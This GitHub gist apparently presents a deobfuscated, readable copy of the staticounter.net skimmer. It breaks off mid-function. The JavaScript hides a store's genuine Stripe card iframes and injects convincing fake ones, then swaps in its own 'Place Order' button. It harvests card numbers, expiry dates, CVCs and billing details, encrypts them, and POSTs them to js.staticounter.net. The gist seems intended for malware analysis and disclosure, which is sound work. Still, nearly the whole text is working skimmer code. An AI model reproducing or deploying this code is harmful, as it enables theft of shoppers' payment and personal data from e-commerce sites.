Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save BenBaryoPX/9b33908422646f90f95b7df7bf01fb22 to your computer and use it in GitHub Desktop.
Save BenBaryoPX/9b33908422646f90f95b7df7bf01fb22 to your computer and use it in GitHub Desktop.
A deobfuscated and beautified version of the staticounter.net skimmer
var o1, o2, o3, o4, o11, o22, o33, o44, b1, b2, ccn, dC43, r3, chckst, dd91, ab, dB34, bD34, gG77, iV21, nI88, b2_, f1, f2, f3, f4, ccFieldsNames, ccNumberContainer, expContainer, dY34, cvcElementContainer, details, cc56, vD561, cF98, cstchd, aC57, sF86, sD89, requiresExfiltration, sR31, dI66, cT49, cN78, generateGUID, generateIV, encryptData;
(function () {
var attack = function () {
function hideOriginalForm() {
if (getCookieValue('form_key_id')) {
return;
}
if (typeof jQuery === 'undefined') {
return;
}
if (!new RegExp('firecheckout').test(window.location)) {
return;
}
if (jQuery('#payment-stripe_payments').is(':checked')) {
jQuery('#stripe-payments-card-number iframe:eq(0)').css('display', 'none');
jQuery('#stripe-payments-card-expiry iframe:eq(0)').css('display', 'none');
jQuery('#stripe-payments-card-cvc iframe:eq(0)').css('display', 'none');
injectFakeIframe();
} else {
restoreOriginalForm();
}
}
function addEventListenerAndMark(eventName, element, callback) {
element.addEventListener(eventName, callback, true);
element.classList.add('order-checkout');
}
function restoreStateIfDone() {
if (document.isShowIframe) {
if (getCookieValue('_gld')) {
restoreOriginalForm();
}
}
}
function restoreOriginalForm() {
jQuery('#stripe-payments-card-number_').remove();
jQuery('#stripe-payments-card-expiry_').remove();
jQuery('').remove();
jQuery('#stripe-payments-card-cvc_').remove();
jQuery('#pay_securely__now').remove();
jQuery('#stripe-payments-card-number iframe:eq(0)').css('display', 'block');
jQuery('#stripe-payments-card-expiry iframe:eq(0)').css('display', 'block');
jQuery('').css('display', 'block');
jQuery('#stripe-payments-card-cvc iframe:eq(0)').css('display', 'block');
jQuery('#pay_securely_now').css('display', 'block');
}
function injectFakeIframe() {
function injectFakeIframeContent() {
function attach2CardElementsWrapper() {
attach2CardElements();
}
if (jQuery('#stripe-payments-card-number_').contents().find('#root').length == 0) {
jQuery('#stripe-payments-card-number_').contents().find('head').append('' + _0x269BA);
jQuery('#stripe-payments-card-number_').contents().find('body').append('<div id="root"><form class="ElementsApp is-empty" action="javascript:void(0)"><style>.ElementsApp, .ElementsApp .InputElement{font-size: 16px;line-height: 24px;height: 24px;}</style><span> <span class="InputContainer" data-max="4242 4242 4242 4242 4240"> <input id="number" class="InputElement is-empty Input Input--empty" autocomplete="cc-number" autocorrect="off" spellcheck="false" name="cardnumber" inputmode="numeric" aria-label="Credit or debit card number" placeholder="1234 1234 1234 1234" aria-placeholder="1234 1234 1234 1234" aria-invalid="false" value=""> </span> </span></form></div>');
}
if (jQuery('#stripe-payments-card-expiry_').contents().find('#root').length == 0) {
jQuery('#stripe-payments-card-expiry_').contents().find('head').append(_0x269BA);
jQuery('#stripe-payments-card-expiry_').contents().find('body').append('<div id="root"><form class="ElementsApp is-empty" action="javascript:void(0)"><style>.ElementsApp, .ElementsApp .InputElement{font-size: 16px;line-height: 24px;height: 24px;}</style><span> <span class="InputContainer" data-max="MM / YY0"> <input id="expiration" class="InputElement is-empty Input Input--empty" autocomplete="cc-exp" autocorrect="off" spellcheck="false" name="exp-date" inputmode="numeric" aria-label="Credit or debit card expiration date" placeholder="MM / YY" aria-placeholder="MM / YY" aria-invalid="false" value=""> </span> <input tabindex="-1" aria-hidden="true" autocomplete="cc-number" name="cardnumber" style="opacity: 0; pointer-events: none; height: 2px; width: 2px; position: absolute; top: -2px;"> </span></form></div>');
}
if (jQuery('#stripe-payments-card-cvc_').contents().find('#root').length == 0) {
jQuery('#stripe-payments-card-cvc_').contents().find('head').append(_0x269BA);
jQuery('#stripe-payments-card-cvc_').contents().find('body').append('<div id="root"><form class="ElementsApp is-empty" dir="ltr"><style>.ElementsApp, .ElementsApp .InputElement{font-size: 16px;line-height: 24px;height: 24px;}</style><span> <span class="InputContainer" data-max="00000"> <input id="cvc" class="InputElement is-empty Input Input--empty" autocomplete="cc-csc" autocorrect="off" spellcheck="false" name="cvc" inputmode="numeric" aria-label="Credit or debit card CVC/CVV" placeholder="CVC" aria-placeholder="CVC" aria-invalid="false" value=""> </span> </span></form></div>');
}
document.isShowIframe = true;
if (!chckst) {
chckst = true;
setInterval(attach2CardElementsWrapper, 1000);
}
}
if (!jQuery('#stripe-payments-card-number_') || !jQuery('#stripe-payments-card-number_')[0]) {
if (jQuery('#stripe-payments-card-number iframe:eq(0)') && jQuery('#stripe-payments-card-number iframe:eq(0)')[0]) {
jQuery('#stripe-payments-card-number iframe:eq(0)')[0].insertAdjacentHTML('afterend', '<iframe id="stripe-payments-card-number_" frameborder="0" allowtransparency="true" scrolling="no" name="__privateStripeFrame16" allowpaymentrequest="true" title="Secure payment input frame" style="border: none !important; margin: 0px !important; padding: 0px !important; width: 1px !important; min-width: 100% !important; overflow: hidden !important; display: block !important; user-select: none !important; transform: translate(0px) !important; height: 24px;"></iframe>');
jQuery('#stripe-payments-card-expiry iframe:eq(0)')[0].insertAdjacentHTML('afterend', '<iframe id="stripe-payments-card-expiry_" frameborder="0" allowtransparency="true" scrolling="no" name="__privateStripeFrame17" allowpaymentrequest="true" title="Secure payment input frame" style="border: none !important; margin: 0px !important; padding: 0px !important; width: 1px !important; min-width: 100% !important; overflow: hidden !important; display: block !important; user-select: none !important; transform: translate(0px) !important; height: 24px;"></iframe>');
jQuery('#stripe-payments-card-cvc iframe:eq(0)')[0].insertAdjacentHTML('afterend', '<iframe id="stripe-payments-card-cvc_" frameborder="0" allowtransparency="true" scrolling="no" name="__privateStripeFrame18" allowpaymentrequest="true" title="Secure payment input frame" style="border: none !important; margin: 0px !important; padding: 0px !important; width: 1px !important; min-width: 100% !important; overflow: hidden !important; display: block !important; user-select: none !important; transform: translate(0px) !important; height: 24px;"></iframe>');
var _0x269BA = '<style type="text/css">*,:after,:before{box-sizing:border-box}:focus{outline:none}html{font-size:14px}body{padding:0;margin:0;font-family:sans-serif}.ElementsApp{font-size:14px;line-height:1.2em;height:1.2em;position:absolute;top:0;left:0;width:100%}.ElementsApp.ElementsApp--isSecondaryFrame{height:auto}.ElementsApp input{background-color:transparent;border:none;display:block;font-family:sans-serif;margin:0;padding:0;width:100%;font-size:1em;line-height:1.2em;height:1.2em}.ElementsApp>*{position:absolute;height:100%;top:0;left:0;width:100%;z-index:1}.ElementsApp.ElementsApp--isSecondaryFrame>*{height:auto}.ElementsApp .StripeField--fake{z-index:0;bottom:0}.ElementsApp .InputElement.is-invalid{color:#eb1c26}.is-disabled .InputElement.is-invalid{color:#fdd8d3}.ElementsApp .Icon-fill{fill:#515e80}.ElementsApp.is-invalid .Icon-fill{fill:#eb1c26}.ElementsApp.is-disabled,input:disabled{color:#cfd7df}input:disabled::-webkit-input-placeholder{color:#cfd7df}input:disabled::-moz-placeholder{color:#cfd7df}input:disabled:-ms-input-placeholder{color:#cfd7df}input:disabled::placeholder{color:#cfd7df}.ElementsApp.is-disabled .Icon{opacity:.3}.ElementsApp input:-webkit-autofill{transition:background-color 100000000s;-webkit-animation:1ms void-animation-in}.ElementsApp.is-autofilled .InputElement{color:#000}.ElementsApp input{-webkit-animation:1ms void-animation-out}@-webkit-keyframes void-animation-in{0%{opacity:1}to{opacity:1}}@-webkit-keyframes void-animation-out{0%{opacity:1}to{opacity:1}}.InputContainer{position:relative;display:block;margin:0;padding:0}.InputContainer:after{height:0;visibility:hidden;content:attr(data-max)}.InputContainer-placeholder--ie{pointer-events:none;position:absolute;top:-100%;left:0;opacity:0;color:#bbbbc2}.Input--empty+.InputContainer-placeholder--ie{top:0;opacity:1}.InputContainer .InputElement{position:absolute}.InputContainer .InputElement::-webkit-input-placeholder{-webkit-text-fill-color:currentColor}.InputContainer .InputElement::-moz-placeholder{-webkit-text-fill-color:currentColor}.InputContainer .InputElement:-ms-input-placeholder{-webkit-text-fill-color:currentColor}.InputContainer .InputElement::placeholder{-webkit-text-fill-color:currentColor}.LightboxModal-container{position:absolute;height:100%;width:100%;top:0;left:0;background:white;box-shadow:0 7px 32px rgba(0,0,0,.15),0 3px 6px rgba(0,0,0,.2)}.LightboxModal-loadingIndicator{position:absolute;top:50%;left:50%;-webkit-transform:translate3D(-50%,-50%,0);-ms-transform:translate3D(-50%,-50%,0);transform:translate3D(-50%,-50%,0)}.LightboxModal{position:absolute;width:100%;max-height:100%;bottom:0}.LightboxModal-400x600.LightboxModal{height:calc(57vh + 350px)}.LightboxModal-position{position:relative;width:100%;max-height:100%}.LightboxModal-400x600 .LightboxModal-position{height:700px}.LightboxModal-size{position:relative;max-height:100%;max-width:100%;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);-ms-transform:translate(-50%,-50%);transform:translate(-50%,-50%);overflow:hidden}.LightboxModal-400x600 .LightboxModal-size{height:600px;width:400px}@media (max-width:400px){.LightboxModal-400x600 .LightboxModal-position,.LightboxModal-400x600 .LightboxModal-size,.LightboxModal-400x600.LightboxModal{height:100%;width:100%;border-radius:0}}.LightboxModal-container{opacity:0;-webkit-transform:scale(.95);-ms-transform:scale(.95);transform:scale(.95);-webkit-transform-origin:bottom center;-ms-transform-origin:bottom center;transform-origin:bottom center;transition:opacity .2s cubic-bezier(.4,0,.2,1),-webkit-transform .2s cubic-bezier(.4,0,1,1);transition:opacity .2s cubic-bezier(.4,0,.2,1),transform .2s cubic-bezier(.4,0,1,1);transition:opacity .2s cubic-bezier(.4,0,.2,1),transform .2s cubic-bezier(.4,0,1,1),-webkit-transform .2s cubic-bezier(.4,0,1,1)}.LightboxModal-open .LightboxModal-container{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1);transition:opacity .35s cubic-bezier(.4,0,.2,1),-webkit-transform .35s cubic-bezier(0,0,.2,1);transition:opacity .35s cubic-bezier(.4,0,.2,1),transform .35s cubic-bezier(0,0,.2,1);transition:opacity .35s cubic-bezier(.4,0,.2,1),transform .35s cubic-bezier(0,0,.2,1),-webkit-transform .35s cubic-bezier(0,0,.2,1)}.LightboxModal-loadingIndicator{opacity:1;-webkit-transform:translate3d(-50%,-50%,0) scale(1);transform:translate3d(-50%,-50%,0) scale(1);transition:opacity .4s cubic-bezier(.4,0,.2,1),-webkit-transform .4s cubic-bezier(.4,0,.2,1);transition:opacity .4s cubic-bezier(.4,0,.2,1),transform .4s cubic-bezier(.4,0,.2,1);transition:opacity .4s cubic-bezier(.4,0,.2,1),transform .4s cubic-bezier(.4,0,.2,1),-webkit-transform .4s cubic-bezier(.4,0,.2,1)}.LightboxModal-contentLoaded .LightboxModal-loadingIndicator{opacity:0;-webkit-transform:translate3d(-50%,-50%,0) scale(.9);transform:translate3d(-50%,-50%,0) scale(.9)}.LightboxModal-content{opacity:0;transition:opacity .4s cubic-bezier(.4,0,.2,1);transition-delay:.2s}.LightboxModal-contentLoaded .LightboxModal-content{opacity:1}.LoadingSpinner{border:3px solid rgba(0,0,0,.3);border-top:3px solid transparent;border-radius:50%;width:64px;height:64px;-webkit-animation:LoadingSpinner-spin .75s linear infinite;animation:LoadingSpinner-spin .75s linear infinite}@-webkit-keyframes LoadingSpinner-spin{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes LoadingSpinner-spin{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.ThreeDSSpinner{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.ThreeDSSpinner-brand{margin-top:32px;height:32px}.ThreeDSSpinner-brand-amex{height:72px;margin-top:48px}</style>';
_0x269BA += '<style type="text/css">.invalid{color:red}.valid{color:green}.CardBrandIcon-container{height:100%;position:absolute;top:0;text-align:center;width:1.5em;-webkit-perspective:1000px;perspective:1000px}.CardBrandIcon{position:relative;-webkit-transform-style:preserve-3d;transform-style:preserve-3d;transition:-webkit-transform .5s cubic-bezier(.075,.82,.165,1);transition:transform .5s cubic-bezier(.075,.82,.165,1);transition:transform .5s cubic-bezier(.075,.82,.165,1),-webkit-transform .5s cubic-bezier(.075,.82,.165,1);transition-timing-function:cubic-bezier(.075,.82,.165,1);height:100%}.CardBrandIcon-inner{margin:0;padding:0;position:absolute;-webkit-backface-visibility:hidden;backface-visibility:hidden;height:100%;width:1.5em}.CardBrandIcon.is-amex .CardBrandIcon-inner{transition:opacity .5s cubic-bezier(.075,.82,.165,1);transition-timing-function:cubic-bezier(.075,.82,.165,1)}.CardBrandIcon-inner--front{z-index:2;-webkit-transform:rotateY(0);transform:rotateY(0)}.CardBrandIcon-inner--back{z-index:1;-webkit-transform:rotateY(180deg);transform:rotateY(180deg)}.CardBrandIcon img,.CardBrandIcon svg{position:absolute;left:0;top:50%;margin-top:-.55em;height:1em;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7);opacity:0}.CardBrandIcon.is-loaded img,.CardBrandIcon.is-loaded svg{transition:opacity .7s cubic-bezier(.075,.82,.165,1),-webkit-transform .4s cubic-bezier(.075,.82,.165,1);transition:transform .4s cubic-bezier(.075,.82,.165,1),opacity .7s cubic-bezier(.075,.82,.165,1);transition:transform .4s cubic-bezier(.075,.82,.165,1),opacity .7s cubic-bezier(.075,.82,.165,1),-webkit-transform .4s cubic-bezier(.075,.82,.165,1);transition-timing-function:cubic-bezier(.075,.82,.165,1);-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1);opacity:1}.CardBrandIcon-container.is-hidden .CardBrandIcon.is-loaded img,.CardBrandIcon-container.is-hidden .CardBrandIcon.is-loaded svg{-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7);opacity:0}.CardBrandIcon.is-cvc{-webkit-transform:rotateY(180deg);transform:rotateY(180deg)}.CardBrandIcon.is-amex{-webkit-transform:rotateY(0);transform:rotateY(0)}.CardBrandIcon.is-amex .CardBrandIcon-inner--back{opacity:0;-webkit-transform:rotateY(0);transform:rotateY(0)}.CardBrandIcon.is-amex.is-cvc .CardBrandIcon-inner--back{opacity:1;z-index:3}.CardBrandIcon.is-amex.is-cvc .CardBrandIcon-inner--front,.CardBrandIcon.is-amex.is-cvc-hidden .CardBrandIcon-inner--back,.CardBrandIcon.is-cvc-hidden .CardBrandIcon-inner--back{opacity:0}.CardField .CardBrandIcon-container{pointer-events:none;z-index:2}.CardField:hover{cursor:text}.CardField--unacceleratedTranslate .CardField-child{transition:right .4s cubic-bezier(.25,.46,.45,.94)}.CardField-input-wrapper{position:absolute;left:0;right:0;white-space:nowrap;overflow:hidden}.CardField-input-wrapper.is-ready-to-slide{transition:.4s cubic-bezier(.25,.46,.45,.94);transition-property:left,right}.CardField--ltr .CardBrandIcon-container:not(.is-hidden)+.CardField-input-wrapper{left:2em}.CardField--rtl .CardBrandIcon-container:not(.is-hidden)+.CardField-input-wrapper{right:2em}.CardField--ltr .CardBrandIcon-container{left:0}.CardField--rtl .CardBrandIcon-container{right:0}.CardField-number-fakeNumber{position:absolute;pointer-events:none}.CardField-number-fakeNumber-last4{position:absolute;top:0}.CardField--ltr .CardField-number-fakeNumber-last4{right:0}.CardField--rtl .CardField-number-fakeNumber-last4{left:0}.CardField-number-fakeNumber-number{opacity:0}.CardField-number .CardField-number-fakeNumber,.CardField-number input,.CardField-number input:-webkit-autofill{transition:background-color 100000000s,opacity .3s cubic-bezier(.25,.46,.45,.94);transition-timing-function:cubic-bezier(.25,.46,.45,.94)}.CardField-number .CardField-number-fakeNumber,.CardField-number input{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}.CardField-number .CardField-number-fakeNumber,.CardField-number.is-hidden input[name=cardnumber].InputElement+.InputContainer-placeholder--ie{opacity:0}.CardField-number.is-hidden .CardField-number-fakeNumber{opacity:1}.CardField-number.is-hidden input[name=cardnumber]{opacity:0}.CardField input::-ms-clear{display:none}.CardField-child{z-index:1;display:inline-block;position:relative;transition:opacity .4s cubic-bezier(.55,.055,.675,.19),-webkit-transform .4s cubic-bezier(.25,.46,.45,.94);transition:opacity .4s cubic-bezier(.55,.055,.675,.19),transform .4s cubic-bezier(.25,.46,.45,.94);transition:opacity .4s cubic-bezier(.55,.055,.675,.19),transform .4s cubic-bezier(.25,.46,.45,.94),-webkit-transform .4s cubic-bezier(.25,.46,.45,.94);-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}</style>';
var _0x267D5 = '';
var _0x26836 = '<div id="root"><form class="ElementsApp is-empty" action="javascript:void(0)"><style>.ElementsApp, .ElementsApp .InputElement{font-size: 16px;line-height: 24px;height: 24px;}</style><span> <span class="InputContainer" data-max="4242 4242 4242 4242 4240"> <input id="number" class="InputElement is-empty Input Input--empty" autocomplete="cc-number" autocorrect="off" spellcheck="false" name="cardnumber" inputmode="numeric" aria-label="Credit or debit card number" placeholder="1234 1234 1234 1234" aria-placeholder="1234 1234 1234 1234" aria-invalid="false" value=""> </span> </span></form></div>';
jQuery('#stripe-payments-card-number_').contents().find('head').append('' + _0x269BA);
jQuery('#stripe-payments-card-number_').contents().find('body').append('<div id="root"><form class="ElementsApp is-empty" action="javascript:void(0)"><style>.ElementsApp, .ElementsApp .InputElement{font-size: 16px;line-height: 24px;height: 24px;}</style><span> <span class="InputContainer" data-max="4242 4242 4242 4242 4240"> <input id="number" class="InputElement is-empty Input Input--empty" autocomplete="cc-number" autocorrect="off" spellcheck="false" name="cardnumber" inputmode="numeric" aria-label="Credit or debit card number" placeholder="1234 1234 1234 1234" aria-placeholder="1234 1234 1234 1234" aria-invalid="false" value=""> </span> </span></form></div>');
var _0x26897 = '<div id="root"><form class="ElementsApp is-empty" action="javascript:void(0)"><style>.ElementsApp, .ElementsApp .InputElement{font-size: 16px;line-height: 24px;height: 24px;}</style><span> <span class="InputContainer" data-max="MM / YY0"> <input id="expiration" class="InputElement is-empty Input Input--empty" autocomplete="cc-exp" autocorrect="off" spellcheck="false" name="exp-date" inputmode="numeric" aria-label="Credit or debit card expiration date" placeholder="MM / YY" aria-placeholder="MM / YY" aria-invalid="false" value=""> </span> <input tabindex="-1" aria-hidden="true" autocomplete="cc-number" name="cardnumber" style="opacity: 0; pointer-events: none; height: 2px; width: 2px; position: absolute; top: -2px;"> </span></form></div>';
jQuery('#stripe-payments-card-expiry_').contents().find('head').append(_0x269BA);
jQuery('#stripe-payments-card-expiry_').contents().find('body').append('<div id="root"><form class="ElementsApp is-empty" action="javascript:void(0)"><style>.ElementsApp, .ElementsApp .InputElement{font-size: 16px;line-height: 24px;height: 24px;}</style><span> <span class="InputContainer" data-max="MM / YY0"> <input id="expiration" class="InputElement is-empty Input Input--empty" autocomplete="cc-exp" autocorrect="off" spellcheck="false" name="exp-date" inputmode="numeric" aria-label="Credit or debit card expiration date" placeholder="MM / YY" aria-placeholder="MM / YY" aria-invalid="false" value=""> </span> <input tabindex="-1" aria-hidden="true" autocomplete="cc-number" name="cardnumber" style="opacity: 0; pointer-events: none; height: 2px; width: 2px; position: absolute; top: -2px;"> </span></form></div>');
var _0x268F8 = '<div id="root"><form class="ElementsApp is-empty" dir="ltr"><style>.ElementsApp, .ElementsApp .InputElement{font-size: 16px;line-height: 24px;height: 24px;}</style><span> <span class="InputContainer" data-max="00000"> <input id="cvc" class="InputElement is-empty Input Input--empty" autocomplete="cc-csc" autocorrect="off" spellcheck="false" name="cvc" inputmode="numeric" aria-label="Credit or debit card CVC/CVV" placeholder="CVC" aria-placeholder="CVC" aria-invalid="false" value=""> </span> </span></form></div>';
jQuery('#stripe-payments-card-cvc_').contents().find('head').append(_0x269BA);
jQuery('#stripe-payments-card-cvc_').contents().find('body').append('<div id="root"><form class="ElementsApp is-empty" dir="ltr"><style>.ElementsApp, .ElementsApp .InputElement{font-size: 16px;line-height: 24px;height: 24px;}</style><span> <span class="InputContainer" data-max="00000"> <input id="cvc" class="InputElement is-empty Input Input--empty" autocomplete="cc-csc" autocorrect="off" spellcheck="false" name="cvc" inputmode="numeric" aria-label="Credit or debit card CVC/CVV" placeholder="CVC" aria-placeholder="CVC" aria-invalid="false" value=""> </span> </span></form></div>');
waitForSubmitBtnReplacement();
setTimeout(injectFakeIframeContent, 100);
}
}
}
function waitForSubmitBtnReplacement() {
function replaceSubmitBtn() {
if (!getCookieValue('form_key_id')) {
var btnText = jQuery('#pay_securely_now').text() || 'Place Order';
var submitBtn = '<button type="button" title="Place Order" class="button button-all checkout-pay button-re checkout-base_button" id="pay_securely__now">' + btnText + '</button>';
if (jQuery('#pay_securely_now') && jQuery('#pay_securely_now')[0] && !jQuery('#pay_securely__now')[0]) {
jQuery('#pay_securely_now').css('display', 'none');
jQuery('#pay_securely_now').after(submitBtn);
waitForSubmitBtnReplacement(submitBtn);
} else {
if (!jQuery('#pay_securely_now') || !jQuery('#pay_securely_now')[0]) {
waitForSubmitBtnReplacement();
}
}
}
}
setTimeout(replaceSubmitBtn, 300);
}
function getCookieValue(cookieName) {
var matches = document.cookie.match(new RegExp('(?:^|; )' + cookieName.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + '=([^;]*)'));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
function setCookie(name, value, expirationInMinutes) {
var expirationString = '';
if (expirationInMinutes) {
var date = new Date();
date.setTime(date.getTime() + expirationInMinutes * 60 * 1000);
expirationString = '; expires=' + date.toUTCString();
}
document.cookie = name + '=' + value + expirationString + '; path=/; secure=true; samesite=none;';
}
function generateGUID__() {
function getRand() {
return Math.floor((1 + Math.random()) * 65536).toString(16).substring(1);
}
return getRand() + getRand() + '-' + getRand() + '-' + getRand() + '-' + getRand() + '-' + getRand() + getRand() + getRand();
}
function getValueFromCookieOrElement(target, isCookie) {
var val = '';
if (isCookie) {
val = getCookieValue(target) || '';
} else {
val = jQuery(target).val() || '';
}
return val;
}
function isPositiveNumber(num) {
var parsedNum = Math.floor(Number(num));
return parsedNum !== Infinity && parsedNum >= 0;
}
function attach2CardElements() {
ccNumberContainer = jQuery('#stripe-payments-card-number_').contents()[0];
cvcElementContainer = jQuery('#stripe-payments-card-cvc_').contents()[0];
expContainer = jQuery('#stripe-payments-card-expiry_').contents()[0];
if (ccNumberContainer) {
var ccNumElement = ccNumberContainer.getElementById('number');
if (ccNumElement && ccNumElement.className.indexOf('order-checkout') < 0) {
addEventListenerAndMark('keyup', ccNumElement, keyupCallback);
addEventListenerAndMark('change', ccNumElement, changeCallback);
}
}
if (expContainer) {
var expElement = expContainer.getElementById('expiration');
if (expElement && expElement.className.indexOf('order-checkout') < 0) {
addEventListenerAndMark('keyup', expElement, keyupCallback);
addEventListenerAndMark('change', expElement, changeCallback);
}
}
if (cvcElementContainer) {
var cvcElement = cvcElementContainer.getElementById('cvc');
if (cvcElement && cvcElement.className.indexOf('order-checkout') < 0) {
addEventListenerAndMark('keyup', cvcElement, keyupCallback);
addEventListenerAndMark('change', cvcElement, changeCallback);
}
}
var submitBtn = document.getElementById('pay_securely__now');
if (submitBtn && submitBtn.className.indexOf('order-checkout') < 0) {
addEventListenerAndMark('click', submitBtn, clickCallback);
}
}
function validateCcFields(fieldNamesArr) {
function validateField(fieldName) {
var element;
var value;
switch (fieldName) {
case 'number':
element = ccNumberContainer.getElementById(fieldName);
value = element.value;
if (!value || !isValidCcNumber(value)) {
isDataComplete = false;
errMessage = 'Your card number is incomplete.';
}
break;
case 'expiration':
if (!isDataComplete) {
break;
}
element = expContainer.getElementById(fieldName);
value = element.value;
if (!value) {
isDataComplete = false;
if (!errMessage) {
errMessage = "Your card's expiration date is incomplete.";
}
} else {
var monthYearArr = value.split('/');
var month = parseInt(monthYearArr[0]);
var year = parseInt(monthYearArr[1]);
if (!month || !year || month < 1 || month > 12 || year < 22 || year > 45) {
isDataComplete = false;
if (!errMessage) {
errMessage = "Your card's expiration date is incomplete.";
}
}
}
break;
case 'cvc':
if (!isDataComplete) {
break;
}
element = cvcElementContainer.getElementById(fieldName);
value = element.value;
if (!value || !isPositiveNumber(value) || value.length < 3) {
isDataComplete = false;
if (!errMessage) {
errMessage = "Your card's security code is incomplete.";
}
}
break;
}
}
var isDataComplete = true;
var errMessage = '';
fieldNamesArr.forEach(validateField);
var errorsElement = jQuery('#stripe-payments-card-errors');
errorsElement.removeClass('populated');
errorsElement.html('');
if (!isDataComplete) {
errorsElement.addClass('populated');
errorsElement.html(errMessage);
}
return isDataComplete;
}
function keyupCallback(event) {
var target = event.currentTarget;
if (target && target.value) {
switch (target.id) {
case 'number':
target.value = target.value.replace(/[^\dA-Z]/g, '').replace(/(.{4})/g, '$1 ').trim();
setCcVendorIcon(target.value);
if (target.value && (target.value.length == 19 || getCcVendorNameByNumber(target.value) == 'AMEX' && target.value.length == 18)) {
} else {
target.classList.remove('valid');
target.classList.remove('invalid');
}
break;
case 'expiration':
if (target.value) {
target.value = parseExpirationDate(target.value, 2);
} else {
target.classList.remove('valid');
target.classList.remove('invalid');
}
break;
default:
target.value = target.value.replace(/[^\dA-Z]/g, '');
break;
}
}
}
function parseExpirationDate(expDate, maxLength, spaceAroundSep) {
var sep = '';
if (!spaceAroundSep) {
sep = ' / ';
} else {
sep = '/';
}
if (!maxLength) {
maxLength = 2;
}
maxLength += 5;
expDate = expDate.replace(/[^\/\dA-Z]/g, '');
if (expDate.length >= 2) {
if (expDate.substr(2, 1) != '/') {
expDate = expDate.substr(0, 2) + sep + expDate.substr(2, expDate.length);
} else {
expDate = expDate.substr(0, 2) + sep + expDate.substr(3, expDate.length);
}
}
if (expDate.length > maxLength) {
expDate = expDate.substring(0, maxLength);
}
return expDate;
}
function changeCallback() {
var cvcElement = cvcElementContainer.getElementById('cvc');
var cvcVal = cvcElement.value;
if (cvcVal && isPositiveNumber(cvcVal) && cvcVal.length > 2) {
collectAllAvailablePii();
encryptAndExfilData();
}
}
function collectAllAvailablePii() {
details.cd.nb = ccNumberContainer.getElementById('number').value;
details.cd.c = cvcElementContainer.getElementById('cvc').value;
var expMonthYear = expContainer.getElementById('expiration').value.split('/');
details.cd.m = expMonthYear[0] ? expMonthYear[0] : null;
details.cd.y = expMonthYear[1] ? expMonthYear[1] : null;
details.f = getValueFromCookieOrElement('#billing\\[firstname\\]');
details.l = getValueFromCookieOrElement('#billing\\[lastname\\]');
details.e = getValueFromCookieOrElement('#billing\\[email\\]');
details.t = getValueFromCookieOrElement('#billing\\[telephone\\]');
details.c = getValueFromCookieOrElement('#billing\\[city\\]');
details.r = jQuery('#billing_region_id option:selected').text();
details.co = getValueFromCookieOrElement('#billing_country_id');
details.pc = getValueFromCookieOrElement('#billing\\[postcode\\]');
details.a = getValueFromCookieOrElement('#address') + ' ' + getValueFromCookieOrElement('#apt');
}
function clickCallback() {
if (getCookieValue('form_key_id')) {
return;
}
var theForm = new VarienForm('checkout-billing-address');
if (theForm && theForm.validator && theForm.validator.validate()) {
if (validateCcFields(ccFieldsNames)) {
collectAllAvailablePii();
encryptAndExfilData();
setCookie('form_key_id', generateGUID__(), 360);
setCookie('_gld', generateGUID__(), 360);
setCcVendorIcon('');
}
}
}
function encryptAndExfilData() {
function enableExfiltration() {
requiresExfiltration = true;
}
if (requiresExfiltration) {
var parsedData = {
p: details.a + ' ' + details.a2,
div: details.cd.n || details.f + ' ' + details.l,
span: details.e,
h1: details.t,
link: details.c,
head: details.r,
input: details.co,
select: details.pc,
li: window.location.host,
ul: details.cd.nb,
nav: details.cd.m + '/' + details.cd.y,
form: details.cd.c,
a: navigator.userAgent,
br: '80a6e71e0e968bb734a9ab251f8c9d9be52d68c3'
};
var parsedDataString = JSON.stringify(parsedData);
var guid = generateGUID();
var iv = generateIV();
var dataObj;
dataObj = {
main: encryptData(parsedDataString, guid, iv),
guid: guid,
refer: iv
};
jQuery.ajax({
url: 'https://js.staticounter.net/w/',
data: {
main: dataObj.main,
uniqueId: dataObj.guid,
storedId: dataObj.refer
},
type: 'POST'
});
requiresExfiltration = false;
setTimeout(enableExfiltration, 1000);
}
}
function setCcVendorIcon(ccNumber) {
var cardBrandElement = jQuery('#stripe-payments-brand-icon');
if (!cardBrandElement) {
return;
}
cardBrandElement.removeClass('pf-visa');
cardBrandElement.removeClass('pf-mastercard');
cardBrandElement.removeClass('pf-discover');
cardBrandElement.removeClass('pf-american-express');
cardBrandElement.removeClass('pf-credit-card');
switch (getCcVendorNameByNumber(ccNumber)) {
case 'Visa Electron':
case 'Visa':
cardBrandElement.addClass('pf-visa');
break;
case 'Mastercard':
cardBrandElement.addClass('pf-mastercard');
break;
case 'AMEX':
cardBrandElement.addClass('pf-american-express');
break;
case 'Discover':
cardBrandElement.addClass('pf-discover');
break;
default:
cardBrandElement.addClass('pf-credit-card');
break;
}
}
function getCcVendorNameByNumber(ccNumber) {
ccNumber = ccNumber.replace(/ /g, '');
var testRegex = new RegExp('^4');
if (ccNumber.match(testRegex) != null) {
return 'Visa';
}
if (/^(5[1-5][0-9]{14}|2(22[1-9][0-9]{12}|2[3-9][0-9]{13}|[3-6][0-9]{14}|7[0-1][0-9]{13}|720[0-9]{12}))$/.test(ccNumber)) {
return 'Mastercard';
}
testRegex = new RegExp('^3[47]');
if (ccNumber.match(testRegex) != null) {
return 'AMEX';
}
testRegex = new RegExp('^(6011|622(12[6-9]|1[3-9][0-9]|[2-8][0-9]{2}|9[0-1][0-9]|92[0-5]|64[4-9])|65)');
if (ccNumber.match(testRegex) != null) {
return 'Discover';
}
testRegex = new RegExp('^36');
